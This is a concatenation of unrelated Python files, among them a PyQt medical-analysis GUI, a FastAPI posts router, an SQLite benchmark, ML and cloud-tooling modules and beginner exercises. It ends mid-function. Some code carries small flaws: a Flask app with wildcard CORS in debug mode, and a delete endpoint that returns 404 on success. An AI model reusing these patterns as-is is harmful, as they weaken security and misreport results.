import FunctionalModules.DB_Module.db_module
from FunctionalModules.Diagnose_Module.Recommendation_Processing import RecommendationProcessor
from  UI_Widgets.CreatePatient_window import *
from UI_Widgets.Analysis_Window import *
from UI_Widgets.RecomendationCalculatorWindow import *
from FunctionalModules.Diagram_Module.Diagram_Processing import *
from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT
from matplotlib import pyplot as plt
from UI_Widgets.Season_window import SeasonWindow
from FunctionalModules.SeasonAnalytics_Module.season_analytics import SeasonAnalyzer
from Models.ModelFactory import *

class MainWindow(QMainWindow):
    def __init__(self):
        super().__init__()
        self.initUI()

    def initUI(self):
        loadUi('UIs\MainWindow.ui', self)
        self.setWindowTitle('Medical Analyzer')
        self.child_windows = []

        self.patients = []
        self.current_patient_id = 0
        self.current_analysis_id = 0
        self.current_analysis_date = ''
        self.analysis = []

        self.diagram_processor = DiagramProcessor()

        self.refresh_all_lists()
        self.patient_create_btn.clicked.connect(lambda :self.open_patient_creation())
        self.patient_delete_btn.clicked.connect(lambda: self.delete_chosen_patient())

        self.patient_select_btn.clicked.connect(lambda: self.open_season_analyzer())

        self.patients_list.currentItemChanged.connect(lambda : (self.get_selected_patient_id()))
        self.patients_list.currentItemChanged.connect(lambda: self.update_toolbox_pat_name())

        self.analysis_create_btn.clicked.connect(lambda :self.create_analysis())
        self.analysis_list.currentItemChanged.connect(lambda: (self.get_selected_analysis_id()))
        self.analysis_list.currentItemChanged.connect(lambda: self.update_toolbox_analysis_name())

        self.analysis_delete_btn.clicked.connect(lambda :self.delete_chosen_analysis())
        self.analisys_select_btn.clicked.connect(lambda:self.open_analysis_creation())
        self.tb_graph_btn.clicked.connect(lambda:self.create_radars())
        self.comboBox.currentIndexChanged.connect(lambda: self.graph_preparation())
        self.diagnosis_btn.clicked.connect(lambda:self.get_diagnosis())
        self.load_from_file_btn.clicked.connect(lambda :self.load_from_file())

        self.toolBox.setItemText(0, 'Пациенты')
        self.toolBox.setItemText(1, 'Анализы и графики')
        self.toolBox.setItemText(2, 'Рекомендации')

        #self.actionOpenCalculator.triggered.connect(lambda: print("нажато"))
        self._create_menubar()

        self.show()

    def _create_menubar(self):
        menubar = self.menubar
        recMenu = menubar.addMenu('Меню')
        createCalcAction = QAction(self)
        menubar.addMenu
        createCalcAction.setText("Калькулятор рекомендаций")
        createCalcAction.triggered.connect(lambda: self._open_new_window(RecomendationCalculatorWindow(self)))
        recMenu.addAction(createCalcAction)

    def _open_new_window(self, window):
        self.child_windows.append(window)
        window.show()

    def open_season_analyzer(self):
        print(self.current_patient_id)
        if self.current_patient_id <=0:
            return
        s_analyzer = SeasonAnalyzer(self.current_patient_id)
        if s_analyzer.main_df.empty:
            return
        season_window = SeasonWindow(self, s_analyzer)
        self.child_windows.append(season_window)
        season_window.show()

    def update_toolbox_pat_name(self):
        index = self.patients_list.currentRow()
        if index < 0:
            self.toolBox.setItemText(0, 'Пациенты')
            return
        pat = [p for p in self.patients if p[0]==self.current_patient_id][0]
        name, sur, patr = pat[1], pat[2], pat[3]
        self.toolBox.setItemText(0, f'{sur} {name} {patr}') #ТУТ ИСПОЛЬЗУЮТСЯ ИНИЦИАЛЫ ДЛЯ ЗАЩИТЫ

    def update_toolbox_analysis_name(self):
        index = self.analysis_list.currentRow()
        if index < 0:
            self.toolBox.setItemText(1, 'Анализы')
            return
        analysis = [a for a in self.analysis if a[0]==self.current_analysis_id][0]
        self.toolBox.setItemText(1, f'{str(analysis[2])}')

    def load_from_file(self):
        fname = QFileDialog.getOpenFileName(self, 'Open file', filter="(*.json)")
        if fname[0]=='':
            return
        FunctionalModules.DB_Module.db_module.load_data_from_json(filename=fname[0])

    def get_diagnosis(self):
        proc = RecommendationProcessor()
        # СДЕЛАТЬ ОБНОВЛЕНИЕ ДИАГНОЗА В БД
        pat_id = self.get_selected_patient_id()
        current_anal_date = self.current_analysis_date
        try:
            diag = proc.MakeRecommendation(CreateFullPatientFromDB(pat_id), current_anal_date)
        except Exception as e :
            #diag = e.args[0]
            diag = 'Параметры не соответствуют ни одному из условий для рекомендаций.'
        self.diagnosis_edit.setText(diag)

    def graph_preparation(self):
        if self.comboBox.currentIndex()==1:
            self.graph_start_edit.setEnabled(True)
            self.graph_end_edit.setEnabled(True)
        else:
            self.graph_start_edit.setEnabled(False)
            self.graph_end_edit.setEnabled(False)

    def refresh_all_lists(self):
        self.refresh_patients_list()
        self.refresh_analysis_list()

    def refresh_patients_list(self):
        """Заполнит таблицу пациентов и вернет их полный список"""
        self.patients_list.clear()
        patients = MainDBController.GetAllPatients()
        self.patients = []
        for pat in patients:
            self.patients.append(pat)
            line = f'{pat[2]} {pat[1]} {pat[3]}   {date_sql_to_text_format(str(pat[4]))} '# |{pat[0]}' #ТУТ ИСПОЛЬЗУЮТСЯ ИНИЦИАЛЫ ДЛЯ ЗАЩИТЫ
            self.patients_list.addItem(line)

    def refresh_analysis_list(self):
        """Заполнит таблицу анализов и вернет их полный список"""
        if self.current_patient_id == 0:
            return

        self.analysis_list.clear()
        self.analysis = []
        analysis= MainDBController.GetAllAnalysisByPatientID(self.current_patient_id)
        for an in analysis:
            self.analysis.append(an)
            line = date_sql_to_text_format(str(an[2]))
            #print(an)
            self.analysis_list.addItem(line)

    def open_patient_creation(self):
        creation_window = CreatePatientWindow(self)
        self.child_windows.append(creation_window)
        creation_window.show()

    def open_analysis_creation(self):
        patient_index = self.patients_list.currentRow()
        analysis_index = self.analysis_list.currentRow()
        analysis_window = AnalysisWindow(self.patients[patient_index], self.analysis[analysis_index])
        self.child_windows.append(analysis_window)
        analysis_window.show()

    def get_selected_patient_id(self):
        index = self.patients_list.currentRow()
        current_patient = self.patients[index]
        #print(index, current_patient)
        #print(current_patient[0])
        self.current_patient_id = current_patient[0]
        self.refresh_analysis_list()
        return self.current_patient_id

    def get_selected_analysis_id(self):
        index = self.analysis_list.currentRow()
        current_anal = self.analysis[index]
        self.current_analysis_id = current_anal[0]
        if index != -1:
            self.current_analysis_date = current_anal[2]
        else:
            current_anal = None

    def update_patients_toolbox_name(self):
        self.toolBox.setItemText(0,self.patients_list.currentItem().text())

    def update_analysis_toolbox_name(self):
        self.toolBox.setItemText(1,self.analysis_list.currentItem().text())

    def delete_chosen_patient(self):
        index = self.patients_list.currentRow()
        current_patient = self.patients[index]
        #print(current_patient)
        reply = QMessageBox.question(self, 'Удалить ', f'Удалить пациента {current_patient[1]} {current_patient[2]} {current_patient[3]}?',
                                        QMessageBox.Yes | QMessageBox.No, QMessageBox.No)

        if reply == QMessageBox.Yes:
            MainDBController.DeletePatientById(current_patient[0])
        self.refresh_all_lists()
        return

    def create_analysis(self):
        dialog = QInputDialog(self)
        a_date, ok = dialog.getText(self, 'Введите дату анализа', 'Дата',QLineEdit.Normal)
        a_date = date_to_sql_format(a_date)
        if not ok or a_date is None:
            return
        MainDBController.InsertAnalysis([self.current_patient_id, a_date])
        self.refresh_analysis_list()

    def delete_chosen_analysis(self):
        index = self.analysis_list.currentRow()
        current_analysis = self.analysis[index]
        reply = QMessageBox.question(self, 'Удалить ', f'Удалить анализ от {current_analysis[2]}?',
                                        QMessageBox.Yes | QMessageBox.No, QMessageBox.No)
        if reply == QMessageBox.Yes:
            MainDBController.DeleteAnalysisByID(self.current_analysis_id)
        self.refresh_analysis_list()

    def _clear_graphs(self):
        for row in range(self.graph_layout.rowCount()):
            for col in range(self.graph_layout.columnCount()):
                w = self.graph_layout.itemAtPosition(row, col)
                if w is not None:
                    if 'Figure' in list(w.widget().__dict__.keys()):
                        #plt.close(w.widget().Figure)
                        #plt.figure().close('all')
                        fig = w.widget().Figure.clf()
                        plt.close() # можно убрать (если рисуются окошки)
                    w.widget().deleteLater()

    def create_radars(self):
        self._clear_graphs()
        pat_id = self.current_patient_id
        index = self.analysis_list.currentRow()

        current_patient = CreateFullPatientFromDB(pat_id)
        if self.comboBox.currentIndex() == 0:
            if index ==-1:
                return
            current_anal_date = self.analysis[index][2]
            self._draw_radars(current_patient, current_anal_date)

        elif self.comboBox.currentIndex() == 2:
            if index ==-1:
                return
            current_anal_date = self.analysis[index][2]
            self._draw_triangle_diagramms(current_patient, current_anal_date)
        else:
            self._draw_time_diagrams(current_patient)

    def _draw_radars(self, patient, current_anal_date):
        figs = self.diagram_processor.MakeRadar(patient, current_anal_date)
        try:
            toolbar = NavigationToolbar2QT(figs[0], self)
            self.graph_layout.addWidget(toolbar, 1, 0)
            self.graph_layout.addWidget(figs[0], 0, 0)

            toolbar1 = NavigationToolbar2QT(figs[1], self)
            self.graph_layout.addWidget(toolbar1, 1, 1)
            self.graph_layout.addWidget(figs[1], 0, 1)
        except Exception:
            #print('невозможно построить графики')
            QMessageBox.about(self, "Ошибка в построении графиков", "Невозможно построить график по данным анализам")

    def _draw_time_diagrams(self, patient):
        start_date = str_to_date(self.graph_start_edit.text())
        end_date = str_to_date(self.graph_end_edit.text())
        figs = self.diagram_processor.MakeTimeDiagram(patient, start_date, end_date)
        try:
            toolbar = NavigationToolbar2QT(figs[0], self)
            self.graph_layout.addWidget(toolbar, 0, 0)
            self.graph_layout.addWidget(figs[0], 1, 0)

            toolbar1 = NavigationToolbar2QT(figs[1], self)
            self.graph_layout.addWidget(toolbar1, 2, 0)
            self.graph_layout.addWidget(figs[1], 3, 0)
        except Exception:
            QMessageBox.about(self, "Ошибка в построении графика", "Невозможно построить график по данным анализам")

    def _draw_triangle_diagramms(self, patient, current_anal_date):
        fig = self.diagram_processor.MakeTriangleDiagram(patient, current_anal_date)
        try:
            toolbar = NavigationToolbar2QT(fig, self)
            self.graph_layout.addWidget(toolbar, 1, 0)
            self.graph_layout.addWidget(fig, 0, 0)
        except Exception:
            QMessageBox.about(self, "Ошибка в построении графика", "Невозможно построить график по данным анализам")


from fastapi import Depends, status, HTTPException, Response, APIRouter
from sqlalchemy.orm import Session
from sqlalchemy.sql.expression import text
from sqlalchemy import func
from typing import Optional, List

from ..database import get_db
from .. import schemas, models, oauth2

# router can create a prefix
router = APIRouter(
    prefix="/posts",  # for the path
    tags=["Posts"]  # grouping in doc by category
)

# -- Post Requests -------------------------------------------------------------

@ router.get("/", response_model=List[schemas.PostVote])
def get_all_posts(
    db: Session = Depends(get_db),
    current_user: object = Depends(oauth2.get_current_user),  # create dependency
    limit: int = 10,  # for query parameter
    offset: int = 0,  # related to pagination
    search: Optional[str] = ""  # for query parameters
):

    # need to specify list of posts, using typing(List)
    # join to get group by of count of votes

    posts = db.query(
        models.Post,
        func.count(models.Vote.post_id).label("votes")
    ) \
        .join(models.Vote, models.Vote.post_id == models.Post.id, isouter=True) \
        .group_by(models.Post.id) \
        .filter(models.Post.title.contains(search)) \
        .limit(limit) \
        .offset(offset) \
        .all()

    # only filter by logged in user post
    # posts = db.query(models.Post).filter(models.Post.user_id == current_user.id).all()

    return posts

@ router.get("/{id}", response_model=schemas.PostVote)
def get_post(
    id: int,
    db: Session = Depends(get_db),
    current_user: object = Depends(oauth2.get_current_user)  # create dependency
):

    # need .all() or .first() or .one() to commit
    post = db.query(
        models.Post,
        func.count(models.Vote.post_id).label("votes")
    ) \
        .join(models.Vote, models.Vote.post_id == models.Post.id, isouter=True) \
        .group_by(models.Post.id) \
        .filter(models.Post.id == id) \
        .first()

    if post is None:
        raise HTTPException(
            status_code=status.HTTP_404_NOT_FOUND,
            detail=f"post with id: {id} does not exist"
        )

    # only filter by logged in user post
    # if post.user_id != current_user.id:  # check if user owns post
    #     raise HTTPException(
    #         status_code=status.HTTP_403_FORBIDDEN,
    #         detail=f"Not authorised to perform requested action"
    #     )

    return post

@ router.post("/", status_code=status.HTTP_201_CREATED, response_model=schemas.PostOut)
def create_post(
    post: schemas.PostIn,
    db: Session = Depends(get_db),
    current_user: object = Depends(oauth2.get_current_user)  # create dependency
):

    new_post = models.Post(
        **post.dict(),  # unwrap obj as dictionary
        user_id=current_user.id  # set user_id as user's id for created post
    )

    db.add(new_post)
    db.commit()
    db.refresh(new_post)

    return new_post

@ router.delete("/{id}", status_code=status.HTTP_204_NO_CONTENT)
def delete_post(
    id: int,
    db: Session = Depends(get_db),
    current_user: object = Depends(oauth2.get_current_user)  # create dependency
):

    post_query = db.query(models.Post).filter(models.Post.id == id)

    if post_query.first() is None:  # check if post exist
        raise HTTPException(
            status_code=status.HTTP_404_NOT_FOUND,
            detail=f"post with id: {id} does not exist"
        )

    if post_query.first().user_id != current_user.id:  # check if user owns post
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail=f"Not authorised to perform requested action"
        )

    # https://docs.sqlalchemy.org/en/14/orm/session_basics.html
    post_query.delete(synchronize_session=False)
    db.commit()

    return Response(status_code=status.HTTP_404_NOT_FOUND, content=f"post with id: {id} was deleted")

@ router.put("/{id}", response_model=schemas.PostOut)
def update_post(
    id: int,
    post: schemas.PostIn,
    db: Session = Depends(get_db),
    current_user: object = Depends(oauth2.get_current_user)  # create dependency
):

    post_query = db.query(models.Post).filter(models.Post.id == id)

    if post_query.first() is None:
        raise HTTPException(
            status_code=status.HTTP_404_NOT_FOUND,
            detail=f"post with id: {id} does not exist"
        )

    if post_query.first().user_id != current_user.id:
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail=f"Not authorised to perform requested action"
        )

    post_query.update(
        post.dict() | {"updated_at": text("current_timestamp")},
        synchronize_session=False
    )

    db.commit()

    return post_query.first()


"""
https://www.sqlite.org/download.html

cd ~/tmp
wget https://www.sqlite.org/2016/sqlite-amalgamation-3140200.zip
7z x sqlite-*.zip
"""
import sqlite3 as lite
from concurrent import futures
import utool as ut
import math

fpath = 'temp.sqlite3'
connection = lite.connect(fpath, detect_types=lite.PARSE_DECLTYPES, check_same_thread=False)
cur = connection.cursor()
cur.execute(
    '''
    CREATE TABLE IF NOT EXISTS table1 (
        col1 INTEGER,
        col2 INTEGER
    )
    ''')

with ut.Timer('INSERT'):
    niters = 300000
    for idx in ut.ProgIter(range(niters), 'insert'):
        import random
        col1 = random.randint(0, 1000)
        col2 = random.randint(0, 1000)

        cur.execute(
            '''
            INSERT INTO table1(rowid, col1, col2) VALUES (NULL, ?, ?)
            ''', (col1, col2))

with ut.Timer('SERIAL SELECT'):
    data = []
    rowid_list = list(range(1, niters + 1))
    for rowid in rowid_list:
        cur.execute('SELECT col1, col2 from table1 WHERE rowid=?', (rowid,))
        data.append(cur.fetchone())

def worker(args):
    import os
    fd = os.open(fpath, os.O_RDONLY)
    uri = '/dev/fd/%d' % fd
    connection = lite.connect(uri, detect_types=lite.PARSE_DECLTYPES)
    os.close(fd)

    connection = lite.connect(fpath, detect_types=lite.PARSE_DECLTYPES, check_same_thread=False)
    cur_ = connection.cursor()
    #cur_ = cur
    #cur = connection.cursor()
    data = []
    for rowid in args:
        cur_.execute('SELECT col1, col2 from table1 WHERE rowid=?', (rowid,))
        data.append(cur_.fetchone())
    return data

with ut.Timer('PARALLEL SELECT'):
    nprocs = 6
    #executor = futures.ThreadPoolExecutor(nprocs)
    executor = futures.ProcessPoolExecutor(nprocs)

    chunksize = int(math.ceil(len(rowid_list) / nprocs))
    args_list = [
        rowid_list[chunksize * i:chunksize * (i + 1)]
        for i in range(nprocs)
    ]

    fs_list = [executor.submit(worker, args) for args in args_list]

    result_list = [fs.result() for fs in ut.ProgIter(fs_list, lbl='fs')]

    result = ut.flatten(result_list)
    executor.shutdown(wait=False)

if False:
    # debug
    cur.execute('PRAGMA TABLE_INFO(table1)')
    cur.fetchall()
    cur.execute('PRAGMA compile_options')
    cur.fetchall()

#SELECT * FROM <TABLE NAME> WHERE rowid IN (SELECT rowid FROM <TEMP TABLE> WHERE flag=1)


from typing import Optional

import torch
from torch.nn.parallel import DistributedDataParallel as DDP

from algorithmic_efficiency import param_utils
from algorithmic_efficiency import spec
from algorithmic_efficiency.pytorch_utils import pytorch_setup
from algorithmic_efficiency.workloads.librispeech_conformer.librispeech_pytorch.models import \
    initialize
from algorithmic_efficiency.workloads.librispeech_conformer.librispeech_pytorch.workload import \
    LibriSpeechConformerWorkload
from algorithmic_efficiency.workloads.librispeech_deepspeech.librispeech_pytorch.models import \
    DeepspeechConfig
from algorithmic_efficiency.workloads.librispeech_deepspeech.librispeech_pytorch.models import \
    DeepspeechEncoderDecoder

USE_PYTORCH_DDP, RANK, DEVICE, N_GPUS = pytorch_setup()

MAX_INPUT_LENGTH = 320000

class LibriSpeechDeepSpeechWorkload(LibriSpeechConformerWorkload):

  def init_model_fn(
      self,
      rng: spec.RandomState,
      dropout_rate: Optional[float] = None,
      aux_dropout_rate: Optional[float] = None) -> spec.ModelInitState:
    """Deepspeech model init function.

    Here we use dropout_rate as feed_forward_dropout_rate, and aux_dropout_rate
    as input_dropout_rate.
    """
    torch.random.manual_seed(rng[0])
    model = DeepspeechEncoderDecoder(
        DeepspeechConfig(
            feed_forward_dropout_rate=dropout_rate,
            use_specaug=self.use_specaug,
            input_dropout_rate=aux_dropout_rate)).eval()
    self.ctc_loss = torch.nn.CTCLoss(blank=0, reduction='none')
    # Run model once to initialize lazy layers.
    t = MAX_INPUT_LENGTH
    wave = torch.randn((2, t))
    pad = torch.zeros_like(wave)
    _ = model(wave, pad)
    initialize(model)

    self._param_shapes = param_utils.pytorch_param_shapes(model)
    self._param_types = param_utils.pytorch_param_types(self._param_shapes)
    model.to(DEVICE)
    self.requires_sync_before_eval = False
    if N_GPUS > 1:
      if USE_PYTORCH_DDP:
        model = DDP(model, device_ids=[RANK], output_device=RANK)
      else:
        model = torch.nn.DataParallel(model)
    return model, None

  def is_output_params(self, param_key: spec.ParameterKey) -> bool:
    return param_key in ['lin.weight', 'lin.bias']

  @property
  def validation_target_value(self) -> float:
    return 0.119936

  @property
  def test_target_value(self) -> float:
    return 0.074143

  @property
  def step_hint(self) -> int:
    """Max num steps the baseline algo was given to reach the target."""
    return 48_000

  @property
  def max_allowed_runtime_sec(self) -> int:
    return 55_506  # ~15.4 hours


from flask import request
from flask_script import Manager, Shell

__author__ = 'hezhisu'
import os
from app import create_app

app = create_app(os.getenv('FLASK_CONFIG') or 'default')
manager = Manager(app)
# manager.add_command('db', MigrateCommand)
@app.after_request
def add_header(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
    return response
if __name__ == '__main__':
    # app.run(debug=False,host='0.0.0.0')
    app.run(debug=True)


from platform import node
from turtle import distance
import networkx as nx
import numpy as np
from collections import defaultdict
import random
# Use this for notebook
# from multi_dimensional.abeba_methods import compute_activation, compute_post
#Use this for test.py
from abeba_methods import *
from content.content_recommender import *
import math
from tabulate import tabulate
from test import print_graph

def people_recommender(G, ops, nodes, strategy="random"):
    all_nodes = list(G.nodes)
    for node_id in nodes:
        recommended_friend = []
        neigs = list(nx.neighbors(G, node_id))
        not_friends = [x for x in all_nodes if x not in neigs]
        not_friends.remove(node_id)
        if strategy == "random":
            nx.set_node_attributes(G, {node_id: not_friends}, 'people_recommended')
            # recommending a random node not already friend as a new friend.
            recommended_friend = []
            if len(not_friends) != 0:
                recommended_friend = np.random.choice(not_friends, size=1, replace=False)
        elif strategy == 'opinion_diversity1':
            distances_dict = {}
            opinions = nx.get_node_attributes(G, 'estimated_opinion')
            opinion_subject = opinions[node_id]
            for key in opinions:
                if key in not_friends:
                    distances_dict[key] = 0.0
                    for op in range(ops):
                        distances_dict[key] += (opinion_subject[op] - opinions[key][op]) ** 2
            # ordered from the largest value to the smallest, therefore from the most discordant to the least discordant node
            distances_dict_ordered = {k: v for k, v in sorted(distances_dict.items(), key=lambda item: item[1], reverse=True)}
            # the choice is made between the first 4 keys of the dictionary
            sz = len(distances_dict)
            short_list = list(distances_dict_ordered.keys())[0:min(sz, 4)]
            nx.set_node_attributes(G, {node_id: short_list}, 'people_recommended')
            recommended_friend = np.random.choice(short_list, size=1, replace=False)
        elif strategy == 'topology_based':
            overlapping_dict = {}
            # BFS
            visited, queue = [[] for _ in range(4)], []
            visited[0].append(node_id)
            queue.append((node_id, 0))
            while queue:
                # next pair (node, distance)
                next = queue.pop(0)
                # reached max distance
                if next[1] == 3:
                    break
                next_neigs = list(nx.neighbors(G, next[0]))
                for neig in next_neigs:
                    if neig not in visited[next[1] + 1]:
                        visited[next[1] + 1].append(neig)
                        queue.append((neig, next[1] + 1))
            hop3 = [x for x in visited[3] if x not in neigs and x != node_id]
            for not_friend in hop3:
                not_friend_neigs = list(nx.neighbors(G, not_friend))
                number_overlapping_friends = len(set(not_friend_neigs) & set(neigs))
                overlapping_dict[not_friend] = number_overlapping_friends
            # ordered from the largest value to the smallest, therefore from the most overlapping friends number to the least overlapping friends number node
            overlapping_dict_ordered = {k: v for k, v in sorted(overlapping_dict.items(), key=lambda item: item[1], reverse=True)}
            # the choice is made between the first 4 keys of the dictionary
            short_list = list(overlapping_dict_ordered.keys())[0:min(4, len(overlapping_dict_ordered))]
            nx.set_node_attributes(G, {node_id: short_list}, 'people_recommended')
            recommended_friend = []
            if len(short_list) > 0:
                recommended_friend = np.random.choice(short_list, size=1, replace=False)
        elif strategy == 'opinion_diversity':
            # BFS
            visited, queue = [], []
            visited.append(node_id)
            queue.append(node_id)
            dist = {}
            dist[node_id] = 0
            while queue:
                next = queue.pop(0)
                next_neigs = list(nx.neighbors(G, next))
                for neig in next_neigs:
                    if neig not in visited:
                        visited.append(neig)
                        queue.append(neig)
                        dist[neig] = dist[next] + 1
            # Removing the node itself
            visited.pop(0)
            short_list = visited[max(0, len(visited) - 4):]
            nx.set_node_attributes(G, {node_id: short_list}, 'people_recommended')
            recommended_friend = []
            if len(short_list) > 0:
                recommended_friend = np.random.choice(short_list, size=1, replace=False)
        # note that recommended_friend is a numpy array with at most 1 element
        if len(recommended_friend) > 0:
            avg_deg = sum([G.degree(n) for n in G.nodes()]) / G.number_of_nodes()
            G.add_edge(node_id, recommended_friend[0])
            # deleting a random edge to prevent fully connected graphs
            discarded_friend = []
            if len(neigs) > 0 and G.degree(node_id) >= 2:
                discarded_friend = np.random.choice(neigs, size=1, replace=False)
                G.remove_edge(node_id, discarded_friend[0])
            """
            print('Node:\t' + str(node_id))
            print('New Friend:\t' + str(recommended_friend))
            print('Old Friend:\t' + str(discarded_friend))
            """

    return G

def simulate_epoch_content_people_recommender(G, ops, percent_updating_nodes, percent_posting_nodes, epsilon = 0.0,
      strategy = "random", strat_param = {}, estim_strategy='base', estim_strat_param={}, people_strategy='random'):
  # Sampling randomly the activating nodes
  updating_nodes = int(percent_updating_nodes * len(G.nodes()) / 100)
  act_nodes = np.random.choice(range(len(G.nodes())), size=updating_nodes, replace=False)

  # Executing content recommender system on activated nodes
  G = content_recommender(G, ops, act_nodes, strategy, strat_param)
  # Monitoring feeds that are going to be cleared
  G = monitor_feed(G, ops, act_nodes)
  # Executing activation phase: activated nodes will consume their feed
  G = compute_activation(G, act_nodes, ops)

  # Sampling randomly the posting nodes from activating nodes' list
  posting_nodes = int(percent_posting_nodes * len(act_nodes) / 100)
  post_nodes = np.random.choice(act_nodes,size=posting_nodes, replace = False)

  # Executing posting phase: activated nodes will post in their neighbours' feed
  G = compute_post(G, post_nodes, ops, epsilon)

  # Updating estimated opinion
  G = upd_estim(G, ops, strategy=estim_strategy, strat_param=estim_strat_param)

  #Calling people recommender
  G = people_recommender(G, ops, post_nodes, people_strategy)
  return G


names = ['Michal', 'Pepa', 'Honza',
        'Pavel', 'Lukas', 'Matej',
        'Iva', 'Klara', 'Jana',
        'Honza', 'Vasek','Milan', 'Michal']

print(sorted(names))

usporadane = [names.pop()]

for name in names:
    for i,s_name in enumerate(usporadane):
        if name < s_name:
            usporadane.insert(i, name)
            break
    else:
        usporadane.append(name)

print(usporadane)


# coding speed increase garna use lowercase
myDict = {
    "fast": "In a quick manner",
    "harry": "A Coder", # string
    "marks": [1, 2, 5], # list
    "decimal": (1.2, 2.5), # tuple
    1 : 2, # integer
    "anotherdict": {"harry":"Player"} # dictionary vitra dictionary i.e nested dictinary
}

# Dictionary Methods

# note : these commented items are imp codes

#print(myDict.keys()) # print the keys of dictionary
#print(type(myDict.keys())) # < class 'dict_keys'>
#print(list(myDict.keys())) # typecasting ; from dict_keys to list

#print(myDict.values()) # prints the values of dictionary
#print(type(myDict.values())) # < class 'dict_values'>
#print(list(myDict.values())) # typecasting ; from dict_values to list
#print(tuple(myDict.values())) # typecasting ; from list to tuple

#print(myDict.items()) # returns the list of (key, value) tuples for all contents of dictionary

print(myDict)
print(" ") # maintains gap b\t lines
print(" ")
update_Dict = {
    "VTEN": "Real G",
    45: 88,
    "list": [66, 7.8, 10],
    "harry": "A Dancer"  # even mathi Coder thyo teslai change hanerw Dancer banaidinxa
}
myDict.update(update_Dict) # updates the dictionary by adding key-value pairs from updateDict
print(myDict)

# myDict.get()
print(myDict["harry"]) # prints value associated with key "harry"
print(myDict.get("harry")) # prints value associated with key "harry"
# 39 th rw 40 th line le same kaam garxa so why do we need myDict.get() ?

# so this is the difference between .get and [] syntax in Dictionaries
print(myDict.get("harry2"))  # Returns NONE as harry2 is not present in the dictionary
print(myDict["harry2"])      # throws an error as harry2 is not present in the dictionary


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import plotly
import plotly.express as px
import pandas

df = pandas.read_csv('Popular vote backend.csv')

def isstateorDC(name):
    return len(str(name))==2

df_statesDC=df[df['stateid'].apply(isstateorDC)]

df_statesDC["Dmargin"]=df_statesDC['dem_votes']-df_statesDC['rep_votes']
df=df_statesDC.sort_values(by='state')
f1 = px.bar(df,x='state',y='Dmargin',color='called',color_discrete_sequence=['red','blue'])
f1.update_xaxes(categoryorder='category ascending')
plotly.offline.plot(f1,filename='statemargin.html')

#color='called',color_discrete_sequence=['red','blue']


from c7n.provider import clouds

import copy
import itertools
import logging
import sys

import boto3

from c7n.credentials import SessionFactory
from c7n.registry import PluginRegistry
from c7n import utils

log = logging.getLogger('custodian.aws')

def _default_region(options):
    marker = object()
    value = getattr(options, 'regions', marker)
    if value is marker:
        return

    if len(value) > 0:
        return

    try:
        options.regions = [utils.get_profile_session(options).region_name]
    except Exception:
        log.warning('Could not determine default region')
        options.regions = [None]

    if options.regions[0] is None:
        log.error('No default region set. Specify a default via AWS_DEFAULT_REGION '
                  'or setting a region in ~/.aws/config')
        sys.exit(1)

    log.debug("using default region:%s from boto" % options.regions[0])

def _default_account_id(options):
    if options.assume_role:
        try:
            options.account_id = options.assume_role.split(':')[4]
            return
        except IndexError:
            pass
    try:
        session = utils.get_profile_session(options)
        options.account_id = utils.get_account_id_from_sts(session)
    except Exception:
        options.account_id = None

@clouds.register('aws')
class AWS(object):

    resource_prefix = 'aws'
    # legacy path for older plugins
    resources = PluginRegistry('resources')

    def initialize(self, options):
        """
        """
        _default_region(options)
        _default_account_id(options)
        return options

    def get_session_factory(self, options):
        return SessionFactory(
            options.region,
            options.profile,
            options.assume_role,
            options.external_id)

    def initialize_policies(self, policy_collection, options):
        """Return a set of policies targetted to the given regions.

        Supports symbolic regions like 'all'. This will automatically
        filter out policies if their being targetted to a region that
        does not support the service. Global services will target a
        single region (us-east-1 if only all specified, else first
        region in the list).

        Note for region partitions (govcloud and china) an explicit
        region from the partition must be passed in.
        """
        from c7n.policy import Policy, PolicyCollection
        policies = []
        service_region_map, resource_service_map = get_service_region_map(
            options.regions, policy_collection.resource_types)

        for p in policy_collection:
            available_regions = service_region_map.get(
                resource_service_map.get(p.resource_type), ())

            # its a global service/endpoint, use user provided region
            # or us-east-1.
            if not available_regions and options.regions:
                candidates = [r for r in options.regions if r != 'all']
                candidate = candidates and candidates[0] or 'us-east-1'
                svc_regions = [candidate]
            elif 'all' in options.regions:
                svc_regions = available_regions
            else:
                svc_regions = options.regions

            for region in svc_regions:
                if available_regions and region not in available_regions:
                    level = ('all' in options.regions and
                             logging.DEBUG or logging.WARNING)
                    # TODO: fixme
                    policy_collection.log.log(
                        level, "policy:%s resources:%s not available in region:%s",
                        p.name, p.resource_type, region)
                    continue
                options_copy = copy.copy(options)
                options_copy.region = str(region)

                if len(options.regions) > 1 or 'all' in options.regions and getattr(
                        options, 'output_dir', None):
                    options_copy.output_dir = (
                        options.output_dir.rstrip('/') + '/%s' % region)
                policies.append(
                    Policy(p.data, options_copy,
                           session_factory=policy_collection.session_factory()))
        return PolicyCollection(policies, options)

def get_service_region_map(regions, resource_types):
    # we're not interacting with the apis just using the sdk meta information.
    session = boto3.Session(
        region_name='us-east-1',
        aws_access_key_id='never',
        aws_secret_access_key='found')

    resource_service_map = {
        r: clouds['aws'].resources.get(r).resource_type.service
        for r in resource_types if r != 'account'}
    # support for govcloud and china, we only utilize these regions if they
    # are explicitly passed in on the cli.
    partition_regions = {}
    for p in ('aws-cn', 'aws-us-gov'):
        for r in session.get_available_regions('s3', partition_name=p):
            partition_regions[r] = p

    partitions = ['aws']
    for r in regions:
        if r in partition_regions:
            partitions.append(partition_regions[r])

    service_region_map = {}
    for s in set(itertools.chain(resource_service_map.values())):
        for partition in partitions:
            service_region_map.setdefault(s, []).extend(
                session.get_available_regions(s, partition_name=partition))
    return service_region_map, resource_service_map


import util.dataloader.IACDataLoader as iac
import numpy as np
import pickle
import os
import nltk
import re
import timeit
import gensim.models as g

from sklearn import preprocessing, svm, metrics
from sklearn.model_selection import train_test_split, cross_val_score, StratifiedKFold
from sklearn.externals import joblib
from nltk.corpus import stopwords
from nltk.stem import PorterStemmer
from sklearn.model_selection import cross_val_score

topic_list_file = "task1_doc2vec_topic_list.txt"
vectors_file = "task1_doc2vec_vectors.txt"

def get_preprocessed_words(text, cachedStopWords):
    # filter chars except words and numbers
    tmp_text = re.sub(r'[^\w]', ' ', text)
    # filter stopwords
    return [word for word in tmp_text.split() if word not in cachedStopWords]

def preprocess(discussion_dict, topic_dict):
